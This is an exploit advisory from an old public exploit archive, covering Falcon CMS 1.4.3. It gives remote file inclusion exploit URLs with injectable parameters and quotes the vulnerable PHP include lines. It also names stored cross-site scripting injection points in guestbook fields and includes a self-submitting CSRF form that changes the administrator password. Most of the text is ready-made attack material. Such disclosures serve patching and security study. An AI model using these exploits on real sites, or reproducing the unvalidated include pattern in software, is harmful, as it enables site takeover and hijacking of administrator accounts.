falcon CMS 1.4.3 - Remote File Inclusion / Cross-Site Scripting


Author:

MhZ91

Type:

webapps

Platform:

PHP

Published:

2007-12-10

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  Multilple Remote File Inclusion - Permanent Xss
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# Author: MhZ91
# Title: Falcon Series One - Multilple Remote File Inclusion + Permanent Xss
# Download: http://sourceforge.net/projects/falconcms/
# Bug: Multilple Remote File Inclusion + Permanent Xss
# Severity: High
# Visit: http://www.inj3ct-it.org
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Exploit: http://[site]/sitemap.xml.php?dir[classes]=[Evil_Code]
Vuln code: @include_once ($dir['classes']."class.pages.php");
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Exploit: http://[site]/errors.php?error=[Evil_Code]
Vuln code: <?include($_REQUEST["error"] . "/errors.php");?>
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Permanent Xss at http://[site]/index.php?guestbook=v in the input gb_mail, gb_name and textarea gb_text your [Xss] and after the xss work here index.php?guestbook=v :p
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Simple 1337 Csrf exploit:
<form name="form_change" action="http://[site]/index.php?admin=changepass" method="post">
<input type="hidden" name="f_pass" class="field" value="[YourPWD]" />
<input type="hidden" name="f_pass2" class="field" value="[YourPWD]" />
</form><script>document.form_change.submit()</script>
There is other more csrf and permanent xss.. 

# milw0rm.com [2007-12-10]